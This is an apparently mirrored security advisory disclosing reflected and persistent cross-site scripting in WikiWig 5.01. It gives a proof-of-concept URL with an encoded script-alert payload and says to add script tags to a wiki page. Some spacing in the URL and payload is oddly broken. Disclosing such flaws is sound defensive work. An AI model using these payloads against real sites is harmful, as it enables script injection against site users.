Wikiwikig 5.01 Multiple XSS Vulnerabilities

Source: http://packetstormsecurity.org/files/view/99363/wikiwig501-xss.txt

------------------------------------------------------------------------

Software ...... WikiWig 5.01

Vulnerability ...... Persistent/Reflected Cross-site Scripting

Threat Level ...... Moderate (2/5)

Download ...... http://wikiwig.sourceforge.net/

Disclosure Date...

Tested On...

------------------------------------------------------------------------

Author ...... AutoSec Tools

Site ...... http://www.autosectools.com/

Email ........................ John Leitch <john@autosectools.com>

------------------------------------------------------------------------

-- Description --

A persistent/reflected cross-site scripting vulnerability in WikiWig

5.01 can be exploited to execute arbitrary JavaScript.

-- PoC --

Reflected:

Http: // localhost/wikiwiki5.01/_ wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php? To_r_list = % 3 Cscript % 3 Ealert (0) % 3C % 2 fscript % 3E

Persistent:

Create a user account. Edit any page and add script tags.

<Script> alert (0) </script>